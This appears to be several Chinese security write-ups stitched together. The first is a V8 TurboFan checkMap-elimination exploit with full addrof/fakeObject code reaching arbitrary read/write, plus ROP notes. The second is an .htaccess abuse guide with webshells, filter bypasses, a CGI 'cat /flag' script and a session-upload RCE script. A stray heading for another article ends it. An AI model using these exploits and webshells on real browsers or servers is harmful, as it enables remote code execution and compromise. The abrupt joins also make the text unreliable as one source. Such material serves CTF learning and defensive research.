- back pointer: 0x0c6e08303925 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype_validity cell: 0x0c6e08242445 <Cell value= 1>
- instance descriptors #1: 0x0c6e082cba9d <DescriptorArray[1]>
- transitions #1: 0x0c6e082cbb19 <TransitionArray[4]>Transition array #1:
0x0c6e08044f85 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_ELEMENTS) -> 0x0c6e08303975 <Map(HOLEY_ELEMENTS)>
- prototype: 0x0c6e082cb5e9 <JSArray[0]>
- constructor: 0x0c6e082cb385 <JSFunction Array (sfi = 0xc6e0824f899)>
- dependent code: 0x0c6e080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
第二次
Continuing.
DebugPrint: 0xc6e08148dd5: [JSArray]
- map: 0x0c6e0830394d <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x0c6e082cb5e9 <JSArray[0]>
- elements: 0x0c6e08148dc9 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x0c6e08042229 <FixedArray[0]> {
0xc6e08044695: [String] in ReadOnlySpace: #length: 0x0c6e08242159 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x0c6e08148dc9 <FixedArray[1]> {
0: 0x0c6e08148db9 <JSArray[1]>
}
0xc6e0830394d: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x0c6e08303925 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype_validity cell: 0x0c6e08242445 <Cell value= 1>
- instance descriptors #1: 0x0c6e082cba9d <DescriptorArray[1]>
- transitions #1: 0x0c6e082cbb19 <TransitionArray[4]>Transition array #1:
0x0c6e08044f85 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_ELEMENTS) -> 0x0c6e08303975 <Map(HOLEY_ELEMENTS)>
- prototype: 0x0c6e082cb5e9 <JSArray[0]>
- constructor: 0x0c6e082cb385 <JSFunction Array (sfi = 0xc6e0824f899)>
- dependent code: 0x0c6e080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
##### 学习过程中的poc
###### poc1
function opt(foo) {
var a = [1.1]; //未逃逸
foo(a); //逃逸
return a[0];
}
//触发JIT编译
for (var i=0;i<0x20000;i++) {
opt((o)=>{});
}
x = Array(0);
print(opt((o)=>{o[0] = x;})); //在外部函数里改变类型
%SystemBreak();
这个问题是，所有的代码全部被优化（通过--print-opt-code可以看出）
程序知道foo是要干什么，所以导致没有逃逸
###### poc2
function opt(foo) {
//触发JIT编译
for (var i=0;i<0x20000;i++) {
}
var a = [1.1]; //未逃逸
foo(a); //逃逸
return a[0];
}
opt((o)=>{});
x = Array(0);
print(opt((o)=>{o[0] = x;})); //在外部函数里改变类型
%SystemBreak();
这次进行了改进，程序只优化opt函数，但是没有触发源码中的断点
通过print-opt-code可以发现对于opt函数优化了两次
###### poc3
function opt(foo) {
//触发JIT编译
for (var i=0;i<0x20000;i++) {
}
var a = [1.1]; //storeFiled分支
foo(a); //unknown分支 but a->_map becomes invalidate here
return a[0];//checkmap分支 because a->_map is nullptr, map doesn't MarkForDeletion()
}
opt((o)=>{});
opt((o)=>{});
opt((o)=>{});
x = Array(0);
print(opt((o)=>{o[0] = x;})); //在外部函数里改变类型
%SystemBreak();
这个的结果是没有成功消除map值
具体的流程是
进行setvalue
进行map值的清空
清空之后到了消除kcheckmap的分支部分，发现条件不再满足
原因是上一步清空了
导致最后优化代码的几个部分
赋值a[0] = 1.1
x84700085590 f0 49ba9a9999999999f13f REX.W movq r10,0x3ff199999999999a
0x8470008559a fa c4c1f96ec2 vmovq xmm0,r10
0x8470008559f ff c4c17b114007 vmovsd [r8+0x7],xmm0
最后取值a[0]的时候还是有checkmap
0x847000855ee 14e b801000000 movl rax,0x1
0x847000855f3 153 49ba6041d2f6e77f0000 REX.W movq r10,0x7fe7f6d24160 (Call_ReceiverIsNullOrUndefined) ;; off heap target
0x847000855fd 15d 41ffd2 call r10
0x84700085600 160 488b4dd8 REX.W movq rcx,[rbp-0x28]
0x84700085604 164 41b8fd383008 movl r8,0x83038fd ;; (compressed) object: 0x0847083038fd <Map(PACKED_DOUBLE_ELEMENTS)>
0x8470008560a 16a 443941ff cmpl [rcx-0x1],r8
0x8470008560e 16e 0f8588010000 jnz 0x8470008579c <+0x2fc>
###### poc4
function opt(foo) {
//触发JIT编译
for (var i=0;i<0x20000;i++) {
}
var a = [1.1]; //未逃逸 StoreFiled分支
var b = [a]; //未逃逸 StoreFiled分支
foo(b); //逃逸 default分支 b->_map置为NUllptr, but a->_map is valid
return a[0];//checkMap分支 a'map MarkForDeletion()
}
//生成多个JIT模板
for (var i=0;i<0x10;i++) {
opt((o)=>{});
}
x = Array(0);
print(opt((o)=>{o[0][0] = x;})); //在外部函数里改变类型
具体流程
storeFiled分支
default分支
这里同一个节点出现了四次
最后CheckMap分支
## 3 EXP
之间在8.0以上版本没有尝试过fake_obj之后的利用，同时这个也是chrome利用
addrof原语的思路是将指向一个对象的指针作为双精度浮点型数据读取的话，fakeobj是双精度浮点型数据解释为指向一个对象的指针
checkMap消除之后进行了直接赋值
先进行transiton后进行escape（优化流程图）
load-elimination ====> escape
在load-elimination有类型的变化(fixed_array与fixed_double变换)，在escape有checkMap消除
简单解释addrof
function opt0(o) {
for(var i = 0; i < 200000; i++) { }
let a = [1.1,2.2,3.3,4.4];
let b = [a];<====b[0]是fixed_double b是fixed_array
o(b); <=== b[0][0] = obj ， a先进行Transition成fixed_array,此后a的checkMap消除
return a[0];<====此时由于a的checkMap消除，就会直接读出浮点数
}
function addressOf(obj) {
var addr = opt0((o)=>{o[0][0] = obj;});
return u32f(addr) - 1;
}
#### 3.1 fake_obj
脚本中用到了一个喷射object代码
let arr = spary[spary_size-0x3];
let arr_address = addressOf(arr);
let proto_addr = addressOf(Array.prototype);
%DebugPrint(arr);
%DebugPrint(spary);
%SystemBreak();
//fake a FixedDoubleArray Map
arr[0] = p64f(0x08042115,0x18040404);
arr[1] = p64f(0x29000423,0x0a0007ff);
arr[2] = p64f(proto_addr+1,0);
//alert(arr_address.toString(16));
let element_addr = arr_address + 0x14;
let fake_element = element_addr+0x44;
//fake a FixedDoubleArray
arr[4] = p64f(0,element_addr+0x8+0x1);
arr[5] = p64f(0x08042229,fake_element+1);
arr[6] = p64f(0x7ffffffe,0);
//fake a FixedDoubleArray's element
arr[7] = p64f(0,0x08042ab1);
arr[8] = p64f(0x7ffffffe,0);
%SystemBreak();
var arb_fixeddouble_arr = fakeObject(element_addr + 0x2c);
//leak backing store
backing_store_addr = u64f(arb_fixeddouble_arr[0x9]);
heap_t_addr = u64f(arb_fixeddouble_arr[0xa])
//alert(backing_store_addr.toString(16));
//alert(heap_t_addr.toString(16));
//leak compression ptr high byte
compression_high_bytes = u32f(arb_fixeddouble_arr[0x20]);
//alert(compression_high_bytes.toString(16));
function addressOf_full(obj) {
var addr = addressOf(obj);
return (BigInt(compression_high_bytes) << 32n) + BigInt(addr);
}
arr = spary[spary_size-0x6];
arr_address = addressOf(arr);
proto_addr = addressOf(ArrayBuffer.prototype);
%DebugPrint(arr);
%SystemBreak();
//fake a ArrayBuffer Map
arr[0] = p64f(0x08042115,0x140e0e0e);
arr[1] = p64f(0x19000424,0x084003ff);
arr[2] = p64f(proto_addr+1,0);
element_addr = arr_address + 0x14;
fake_element = element_addr+0x44;
//fake a ArrayBuffer
arr[4] = p64f(0,element_addr+0x8+0x1);
arr[5] = p64f(0x08042229,0x08042229);
arr[6] = p64f(0xffffffff,0);
arr[7] = p64f(0,0);
arr[9] = p64f(0,2);
var arb_arraybuffer = fakeObject(element_addr + 0x2c);
var adv = new DataView(arb_arraybuffer);
%SystemBreak();
我们要先搞清楚其具体的内存情况, 由于没有直接用Array.length扩大，所以这里不改debug源码也是可以直接调试的（无check）。
##### 伪造fake_array
###### print1
首先对于没有更改内存的spary进行DebugPrint，同时对修改之前的arr进行DebugPrint
在脚本中有一些特殊的数据，目前还不是特别懂
对当前的arr数据进行查看
###### print2
对修改完数据之后的arr数组进行查看
伪造之后的数据结构如下图
我们从0x815a671指向的地方开始伪造，首先伪造了一个map ，然后是一个存放double的array,最后是这个array的element
这样就明白了之前脚本
group1
首先第一组数据，我们查看Array对应的map
我们伪造的就是上图map圈出了部分，除了第三个（0x21000423）和第四个(0x0a8007ff)数据外其它map内容均一样，那么这两个字段是什么意思呢
可以看到本来不同的array数组对应的map 这个值也有可能不一样
后来在上面的map图中找到了我们伪造的数据
我尝试修改脚本这两个数据
发现并没有对结果产生影响
姑且认为这两个数据一组就好（因为没有搜到资料这两个字段的含义）
group2
第二组数据可以很清楚的看出分别是map值指针+property+element+length(其中map指针指向我们伪造的地方，element指针指向之后伪造的地方)
group3
第三组数据伪造的element（其中0x8042ab1直接抄就可以，后面是length<<1）
##### 调用fake_array
经过前面的操作，现在已经布置好了伪造的array，下一步是
var arb_fixeddouble_arr = fakeObject(element_addr + 0x2c); //这里传进去的参数是伪造的double_array的map指针的地址
//leak backing store
backing_store_addr = u64f(arb_fixeddouble_arr[0x9]);
heap_t_addr = u64f(arb_fixeddouble_arr[0xa])
于是开始调试
修改之前的数据
ele指向的位置就是伪造的double_array开始的地方
修改之后的数据
可以看到数据并没有发生变化，那fake_obj到底是干什么呢，再次理解下
fake_obj作用是传进去一个数组，之后返回一个可以操作的对应map的object
首先我们传进去的是一个32位 或者 64位的整数，要进行一次i2f(addr+1)变换 ， 脚本中的fake_obj是64位操作前32位置为0，因为
//fake a FixedDoubleArray Map
arr[0] = p64f(0x08042115,0x18040404);
arr[1] = p64f(0x29000423,0x0a0007ff);
arr[2] = p64f(proto_addr+1,0);
//alert(arr_address.toString(16));
let element_addr = arr_address + 0x14;
let fake_element = element_addr+0x44;
//fake a FixedDoubleArray
arr[4] = p64f(0,element_addr+0x8+0x1);
arr[4]伪造的前32本来就是0，可以这么操作
之后是让一个数组的一项等于我们伪造的地址
let a = [1.1,2.2,3.3,4.4];
let b = [a];
x(b);
a[0] = val;<=====数组a的第0项等于我们伪造的i2f(addr+1)
最后返回元素a[0]即为一个obj
即将双精度浮点型数据解释为指向一个对象的指针（key）
我们重新看一下脚本
function fakeObject(addr) {
var fval = i2f64(addr + 1);
let f = eval(`(x,y,val)=>{
for(var i = 0; i < 200000; i++) { }
let a = [1.1,2.2,3.3,4.4];
let b = [a];
x(b);<====b[0][0] = {} a的checkMap消除了,但是其会认为b[0]也就是a是fixed_array
a[0] = val; <====b[0][0] = fval 设置为我们传进来的浮点数,a现在是fixed_array而不是fixed_double_array ， 如果此时a是具有checkMap会像heapNumber一样存储，但是checkMap消除了就会进行直接的赋值。a[0] = val 而不是a[0] = HeapNumber_ptr
return y(b); <====return b[0][0] 像fixed_array一样，所以返回对象
}`);
for (var i=0;i<10;i++) {
f((o)=>{},(o)=>{},fval);
}
return f((o)=>{o[0][0] = {};},(o)=>{return o[0][0];},fval);
}
这里改了下脚本
return f((o)=>{o[0][0] = {};},(o)=>{return o[0];},fval);
返回了b[0]，也就是a
从图中可以看到a被当作了fixed_array，然后具体的解释就是上面的部分了
##### 读取数据
前面费劲心思伪造了一个fake_double_array
下面就是使用它
var arb_fixeddouble_arr = fakeObject(element_addr + 0x2c);
// console.log(hex(element_addr + 0x2c));
%DebugPrint(arb_fixeddouble_arr); // <===============
//leak backing store
backing_store_addr = u64f(arb_fixeddouble_arr[0x9]);
heap_t_addr = u64f(arb_fixeddouble_arr[0xa])
//alert(backing_store_addr.toString(16));
//alert(heap_t_addr.toString(16));
//leak compression ptr high byte
compression_high_bytes = u32f(arb_fixeddouble_arr[0x20]);
看一下arb_fixeddouble_arr的内存布局
看一下我们能够泄露什么
到此fake_array任务结束
后面加了个函数
function addressOf_full(obj) {
var addr = addressOf(obj);
return (BigInt(compression_high_bytes) << 32n) + BigInt(addr);
}
绕过指针压缩，这个函数就是将我们读取的addr扩展下
#### 3.2 fake_array_buffer
脚本
function hex(i)
{
return "0x"+i.toString(16).padStart(16, "0");
}
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}
function i2f64(value) {
dv.setBigUint64(0,BigInt(value),true);
return dv.getFloat64(0,true);
}
function u64f(value) {
dv.setFloat64(0,value,true);
return dv.getBigUint64(0,true);
}
function u32f(value) {
dv.setFloat64(0,value,true);
return dv.getUint32(0,true);
}
function i2f(value) {
dv.setUint32(0,value,true);
return dv.getFloat32(0,true);
}
//
function opt0(o) {
for(var i = 0; i < 200000; i++) { }
let a = [1.1,2.2,3.3,4.4];
let b = [a];
o(b);
return a[0];
}
for (var i=0;i<10;i++) {
opt0((o)=>{});
}
var spary_size = 0x201;
var spary = new Array(spary_size);
for (var i=0;i<spary_size;i+=3) {
spary[i] = new Array(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11,12.12,13.13,14.14,15.15);
spary[i+1] = new ArrayBuffer(0x2000);
spary[i+2] = new Float64Array(0x5);
}
function addressOf(obj) {
var addr = opt0((o)=>{o[0][0] = obj;});
return u32f(addr) - 1;
}
function fakeObject(addr) {
var fval = i2f64(addr + 1);
let f = eval(`(x,y,val)=>{
for(var i = 0; i < 200000; i++) { }
let a = [1.1,2.2,3.3,4.4];
let b = [a];
x(b);
a[0] = val;
return y(b);
}`);
for (var i=0;i<10;i++) {
f((o)=>{},(o)=>{},fval);
}
return f((o)=>{o[0][0] = {};},(o)=>{return o[0][0];},fval);
}
let arr = spary[spary_size-0x3];
let arr_address = addressOf(arr);
let proto_addr = addressOf(Array.prototype);
%DebugPrint(arr);
%DebugPrint(spary);
//fake a FixedDoubleArray Map
arr[0] = p64f(0x08042115,0x18040404);
arr[1] = p64f(0x29000423,0x0a0007ff);
arr[2] = p64f(proto_addr+1,0);
//alert(arr_address.toString(16));
let element_addr = arr_address + 0x14;
let fake_element = element_addr+0x44;
//fake a FixedDoubleArray
arr[4] = p64f(0,element_addr+0x8+0x1);
arr[5] = p64f(0x08042229,fake_element+1);
arr[6] = p64f(0x7ffffffe,0);
//fake a FixedDoubleArray's element
arr[7] = p64f(0,0x08042ab1);
arr[8] = p64f(0x7ffffffe,0);
var arb_fixeddouble_arr = fakeObject(element_addr + 0x2c);
//leak backing store
backing_store_addr = u64f(arb_fixeddouble_arr[0x9]);
heap_t_addr = u64f(arb_fixeddouble_arr[0xa])
//alert(backing_store_addr.toString(16));
//alert(heap_t_addr.toString(16));
//leak compression ptr high byte
compression_high_bytes = u32f(arb_fixeddouble_arr[0x20]);
//alert(compression_high_bytes.toString(16));
function addressOf_full(obj) {
var addr = addressOf(obj);
return (BigInt(compression_high_bytes) << 32n) + BigInt(addr);
}
arr = spary[spary_size-0x6];
arr_address = addressOf(arr);
proto_addr = addressOf(ArrayBuffer.prototype);
//fake a ArrayBuffer Map
arr[0] = p64f(0x08042115,0x140e0e0e);
arr[1] = p64f(0x19000424,0x084003ff);
arr[2] = p64f(proto_addr+1,0);
element_addr = arr_address + 0x14;
fake_element = element_addr+0x44;
//fake a ArrayBuffer
arr[4] = p64f(0,element_addr+0x8+0x1);
arr[5] = p64f(0x08042229,0x08042229);
arr[6] = p64f(0xffffffff,0);
arr[7] = p64f(0,0);
arr[9] = p64f(0,2);
var arb_arraybuffer = fakeObject(element_addr + 0x2c);
var adv = new DataView(arb_arraybuffer);
function read64(addr) {
arr[7] = i2f64(addr);
return adv.getBigUint64(0,true);
}
function write64(addr,value) {
arr[7] = i2f64(addr);
adv.setBigUint64(0,BigInt(value),true);
}
##### 伪造fake_AF
###### print1
###### print2
更改的部分圈出
查一下正常ArrayBuffer的map值
我们对上面的大伪造图进行划分
fake_map
fake_arrayBuffer
这里忘了一点，调一下ABF的内存情况
a = new ArrayBuffer(0x200);
%DebugPrint(a);
%SystemBreak();
内存
所以应该是
A | B | C | D
---|---|---|---
Map | properties | elements | length
不知 | backstore后32 | backstore前32 | heap_some
heap_some | embedder fields2 ？ | |
| |
这里就是伪造第一行，中间置为0，最后一个2(这个测试了下，好像不影响)
##### 利用fake_array_buffer
function read64(addr) {
arr[7] = i2f64(addr);
return adv.getBigUint64(0,true);
}
function write64(addr,value) {
arr[7] = i2f64(addr);
adv.setBigUint64(0,BigInt(value),true);
}
arr[7]正好是backstore,实现任意地址读写
## 4 关于源码我想搞清楚的几个问题
#### 4.1 什么时候有checkmap
在调用数组取数据的时候
a[0] check代码
0x286d000857bd 1bd 488b4dd8 REX.W movq rcx,[rbp-0x28]
0x286d000857c1 1c1 41b8fd383008 movl r8,0x83038fd ;; (compressed) object: 0x286d083038fd <Map(PACKED_DOUBLE_ELEMENTS)> <==========
0x286d000857c7 1c7 443941ff cmpl [rcx-0x1],r8
0x286d000857cb 1cb 0f859e010000 jnz 0x286d0008596f <+0x36f>
不存在check是怎样的
0x2343000857de 1be 488b4dd8 REX.W movq rcx,[rbp-0x28]
0x2343000857e2 1c2 448b4107 movl r8,[rcx+0x7] ;以DOUBLE_ELEMENTS的方式取数据
存在check
0x286d000857bd 1bd 488b4dd8 REX.W movq rcx,[rbp-0x28]
0x286d000857c1 1c1 41b8fd383008 movl r8,0x83038fd ;; (compressed) object: 0x286d083038fd <Map(PACKED_DOUBLE_ELEMENTS)>
0x286d000857c7 1c7 443941ff cmpl [rcx-0x1],r8
0x286d000857cb 1cb 0f859e010000 jnz 0x286d0008596f <+0x36f>
0x286d000857d1 1d1 448b4107 movl r8,[rcx+0x7]
都是先从栈上取数据，之后给rcx，然后通过rcx取值
## 5 问题
###### 5.1 使用turbo的问题
不能正常的显示界面
尝试使用之前安装的命令
npm i
npm run-script build
出错
后来看7ov8师傅的blog说出现这样的问题是正常的
上面重新搭建之后，通过右击index.html 之后就可以正常使用了
###### 5.2 关于default分支何时进入
在源码中有这样的注释
对于所有unknow nodes，会进入到这里
而调用函数正是一个unknown节点
###### 5.3 计算器的问题，还有重定位bash
/usr/bin/xcalc
###### 5.4 div对象内存查看调试
测试发现div对象只出现在html中
可以使用alert的方法暂停一下解析，
attach的进程
这样vmmap泄露的地址才有值
调试一下rop_chain位置
首先我使用alert命令
然后通过控制台下断点
但是没有段下来
之后reload了一下，成功断下
程序依次执行rop_chain
执行system失败了（原因暂时没有调试），之后ret到了0
## 6 细节
##### 关于调试
打印优化代码
-print-opt-code
在源码中下断点，下断点的位置要精确
关于trace-turbo
--trace-turbo-path ../
设置文件的路径
关于打印优化代码
具体的优化函数
具体优化的代码（打印出来的就是）
通过特征快速定位优化代码中的关键部位
生成新的JIT代码以为着之前生成的JIT代码没有被触发，当函数调用次数大于opt优化次数时，后面调用opt都会使用最后的JIT代码，触发源代码中的patch。如果形成的JIT优化代码触发patch位置，同样会断下来
尽管我调用了很多次函数，但是我仍然可以在含有循环的js脚本中调试源码，因为只有在产生JIT代码的时候才会断在源码中
##### 关于turbolizer图
可以看到下图中有三个json文件
这是因为运行本js的时候总共优化了三次
而对于本题来说我想看的是第三个
##### 关于计算器
位置
/usr/bin/xcalc
##### 关于obj的输出
var arb_fixeddouble_arr = fakeObject(element_addr + 0x2c);
console.log(hex(element_addr + 0x2c));
console.log(arb_fixeddouble_arr);<====error
%SystemBreak();
已经是obj了，要用%DebugPrint
当我打算%DebugPrint时（虽然程序崩了，但是确实返回JsArray）
用于对比 当我没有进行fake_obj时同一个地址
DebugPrint: Smi: 0x815a6e4 (135636708)
0x815a6e4
DebugPrint: 0x359b0815a6e5: [JSArray]
- map: 0x359b0815a6c1 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x359b082cb5e9 <JSArray[0]>
- elements: 0x359b0815a6fd <FixedDoubleArray[1073741823]> [HOLEY_DOUBLE_ELEMENTS]
- length: 1073741823
- properties: 0x359b08042229 <FixedArray[0]> {
#
# Fatal error in ../../src/objects/heap-object.h, line 219
# Check failed: !v8::internal::FLAG_enable_slow_asserts || (IsHeapObject()).
#
#
#
#FailureMessage Object: 0x7ffc880fcd80
==== C stack trace ===============================
/ / /v8/out.gn/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x21) [0x7fca669e1411]
/ / /v8/out.gn/x64.debug/libv8_libplatform.so(+0x5905a) [0x7fca6696505a]
/ / /v8/out.gn/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x26f) [0x7fca669c8cbf]
/ / /v8/out.gn/x64.debug/d8(v8::internal::HeapObject::HeapObject(unsigned long)+0x82) [0x5616c53ba582]
/ / /v8/out.gn/x64.debug/libv8.so(v8::internal::TorqueGeneratedDescriptorArray<v8::internal::DescriptorArray, v8::internal::HeapObject>::TorqueGeneratedDescriptorArray(unsigned long)+0x27) [0x7fca64b9f787]
/ / /v8/out.gn/x64.debug/libv8.so(v8::internal::DescriptorArray::DescriptorArray(unsigned long)+0x20) [0x7fca64b9f720]
/ / /v8/out.gn/x64.debug/libv8.so(v8::internal::TaggedField<v8::internal::DescriptorArray, 24>::load(v8::internal::IsolateRoot, v8::internal::HeapObject, int)+0x53) [0x7fca64b9f693]
/ / /v8/out.gn/x64.debug/libv8.so(v8::internal::Map::instance_descriptors(v8::internal::IsolateRoot, v8::RelaxedLoadTag) const+0x3d) [0x7fca64b9f62d]
/ / /v8/out.gn/x64.debug/libv8.so(v8::internal::Map::instance_descriptors(v8::RelaxedLoadTag) const+0x48) [0x7fca64b80018]
/ / /v8/out.gn/x64.debug/libv8.so(v8::internal::JSObject::PrintProperties(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+0x5d) [0x7fca64ee107d]
/ / /v8/out.gn/x64.debug/libv8.so(+0x255b1a6) [0x7fca64ee51a6]
/ / /v8/out.gn/x64.debug/libv8.so(v8::internal::JSArray::JSArrayPrint(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+0x8f) [0x7fca64edcc4f]
/ / /v8/out.gn/x64.debug/libv8.so(v8::internal::HeapObject::HeapObjectPrint(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+0x1aaa) [0x7fca64ed4dca]
/ / /v8/out.gn/x64.debug/libv8.so(v8::internal::Object::Print(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&) const+0x100) [0x7fca64ed3310]
/ / /v8/out.gn/x64.debug/libv8.so(+0x2f4a4a2) [0x7fca658d44a2]
/ / /v8/out.gn/x64.debug/libv8.so(+0x2f2f5cd) [0x7fca658b95cd]
/ / /v8/out.gn/x64.debug/libv8.so(v8::internal::Runtime_DebugPrint(int, unsigned long*, v8::internal::Isolate*)+0x128) [0x7fca658b9288]
/ / /v8/out.gn/x64.debug/libv8.so(+0x1c8031a) [0x7fca6460a31a]
感觉这个时候应该使用release模式进行调试了
##### 一个gafgets
xchg_rax_rsp '0x48', '0x94'
## 7 参考
<https://www.anquanke.com/post/id/224317>
官方WP | 社区文章 |
# .htaccess利用与Bypass方式总结
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
.htaccess文件是apache服务器的一种目录级别的修改配置的方式，可以用来配置当前目录及其所有子目录，常常被用于访问URL时重写路径；在此总结一下相关利用及bypass的方式
测试环境：Ubuntu18.04+Apache2+php7.2
`/etc/apache2`下有两个文件夹`mods-enable`和`mods-available`，其中`mods-enable`里装的是apache已经被启用的模块，`mods-available`里装的是当前系统可用的模块
切换到`mods-enabled`，查看`php7.2.conf`：
通过FilesMath匹配文件后缀，其默认配置是当匹配到`phar`、`php`、`phtml`时，都将其作为php来执行，其中SetHandler就是设置解析方式
例如在`1.phar`中写入`<?=phpinfo();`：
## 利用方式
### 1.SetHandler
(1)编辑.htaccess，内容为：
SetHandler application/x-httpd-php
此时当前目录及其子目录下所有文件都会被当做php解析
除此之外，可以将当前目录下文件都当做文本解析，这样便可获得文件源码：
(2)2020 de1ctf的checkin这道题目的官方wp中提到了这种和第(3)种方式
编辑.htaccess，内容为：
SetHandler server-status
这种方式利用了apache的服务器状态信息(默认关闭)，可以查看所有访问本站的记录(白嫖)
可添加参数`?refresh=5`来实现每隔5s自动刷新
(3)这种方法条件为apache加载了`cgi_module`，这里截的de1ctf checkin这道题目的phpinfo：
编辑.htaccess，内容为：
Options +ExecCGI
AddHandler cgi-script .xx
编辑1.xx(注意格式比较严格)
#! /bin/bash
echo Content-type: text/html
echo ""
cat /flag
可以成功执行最后的命令`cat /flag`
当然，开启了fastcgi也是可以利用的，这里不列举了，可参考文章：
https://www.freebuf.com/vuls/218495.html
### 2.AddType
AddType可以指示文件管理系统，对指定后缀文件以选定的文件类型解析
编辑.htaccess，内容为：
AddType application/x-httpd-php .a
便会将以`.a`为后缀的文件解析为php
### 3.php_value
这种方式可通过`php_value`来配置PHP的配置选项；另外`php_flag name on|off`用来设定布尔值的配置指令
查看[配置可被设定的范围](https://www.php.net/manual/zh/configuration.changes.modes.php)：
从上图可知，.htaccess可以使两种配置模式生效：`PHP_INI_PREDIR`和`PHP_INI_ALL`
可查看[php.ini配置选项列表](https://www.php.net/manual/zh/ini.list.php)，从中寻找可利用的配置项
(1)使用文件包含的两个相关配置
* `auto_prepend_file`：指定一个文件，在主文件解析之前自动解析
* `auto_append_file`：指定一个文件，在主文件解析后自动解析
编辑.htaccess，内容为：
php_value auto_prepend_file webshell
编辑`webshell`，内容为：
<?=phpinfo();
此时随便找一个php文件访问：
把.htaccess内容改为下面的也是可以的：
php_value auto_append_file webshell
由于通过设置这两个选项进行文件包含，那么便可使用相关的php协议流，如`php://filter`，可用来绕过对一些关键字的检测，下面Bypass部分会提到
(2)绕过preg_math的配置
查看官方文档中的相关配置：
编辑.htaccess：
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
测试：
### 4.其他
(1)禁用拒绝规则，使.htaccess可访问
默认情况下，.htaccess是不可访问的：
那么编辑.htaccess文件，添加如下配置：
<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
</Files>
测试：
(2)直接使用.htaccess shell
例如下面这个.htaccess文件，首先设置了禁用拒绝规则，这样便可直接访问到.htaccess；接着用`SetHandler`将所有文件作为php解析，最后写入php代码，开头用`#`注释掉，这样便可成功解析.htaccess，然后解析php：
<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
</Files>
SetHandler application/x-httpd-php
# <?php phpinfo(); ?>
相关的关于.htaccess的shell，可参考github上一个项目：
https://github.com/wireghoul/htshells
## Bypass方式
### 1.关键字检测
**方法1**
如果过滤了.htaccess常用的关键字，此时可以使用反斜线来绕过对关键字的过滤，反斜线后需要加上换行符，并且反斜线前和关键字无空格
例如：
AddT
ype application/x-httpd-php .abc
**方法2**
如果检测不能含有`<?`等php字符串，那么此时可先将shell字符串进行编码，然后在文件包含时通过`php://filter`解码：
**方法3**
通过UTF-7、UTF-16等进行编码
编辑.htaccess：
AddType application/x-httpd-php .aaa
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
之后将后缀`.aaa`文件的内容进行相应编码即可
### 2.拼接无用字符串
**方法1**
可以使用`#`来注释掉后面拼接的多余内容，`#`需要和前面的内容隔一个空格，并且`#`只能注释一行内容，可以使用反斜线来转义换行符，从而注释多行内容
例如下面这个.htaccess文件是可以生效的：
AddT
ype application/x-httpd-php .abc #
asdf
asdf
**方法2**
除了`#`外，`0x00`也可以当注释符，使用`write.php`脚本写入.htaccess：
<?php
$data = urldecode('AddType application/x-httpd-php .abc%0a%00asdf');
file_put_contents('.htaccess', $data);
测试：
### 3.文件格式检测
如果使用`exif_imagetype`检测上传的文件的第一个字节来判断文件类型，那么只要是图像格式以`#`或`0x00`开头便可绕过
**方法1**
使用XBM图像，使用PHP生成图像(需安装GD库)：
<?php
// 创建空白图像并添加文字
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, 'A Simple Text String', $text_color);
// 保存图像
imagexbm($im, '1.png');
// 释放内存
imagedestroy($im);
?>
(下面的`1_png_width`以及`1_png_height`是根据文件名进行拼接生成的)
那么可以在.htaccess前面加上：
#define 1_png_width 120
#define 1_png_height 20
便可绕过对文件格式的检测
**方法2**
使用WBMP图像，使用PHP生成图像：
<?php
$img = imagecreatetruecolor(20, 20);
imagewbmp($img, '1.wbmp');
?>
使用16进制编辑器查看：
可以看到这种图像格式是以`0x00`开头的，那么便可以此方式绕过对文件格式的检测
### 4.其他字符限制
若过滤了`<`、数字、`:`等，此时便不能使用`php://filter`或者UTF编码的方式绕过了；可尝试利用.htaccess设置包含指定的文件。例如对于session文件，可通过包含上传文件产生的临时session进行RCE
查看配置文件，发现大部分session相关的配置都是可以通过.htaccess修改的：
那么我们可以在不知道session存储路径的情况下，通过`session.save_path`指定存储路径，并且可以将`session.upload_progress.cleanup`设置为off，这样便可无需条件竞争来将代码写到session文件中，从而包含rce；编辑.htaccess：
php_value auto_append_file "/tmp/sess_gtfly"
php_value session.save_path "/tmp"
php_flag session.upload_progress.cleanup off
然后运行
import requests
url='http://127.0.0.1/test.php'
headers={
"Cookie":'PHPSESSID=gtfly'
}
files={
"upload":''
}
data={
"PHP_SESSION_UPLOAD_PROGRESS": '''<?php echo system('whoami'); ?>'''
}
r = requests.session()
r.post(url,files=files,headers=headers,data=data)
t = r.get('http://127.0.0.1/test.php',headers=headers)
print(t.text)
成功执行：
## 小结
除以上思路外应该还有很多的利用思路，本菜鸡只能想到这了qaq
从以上利用姿势可以看出，如果网站根目录中的.htaccess内容可控并且能够被解析，那么便很可能产生威胁，因此网站建设时需要多多留意这点～ | 社区文章 |
# RootkitXSS之ServiceWorker
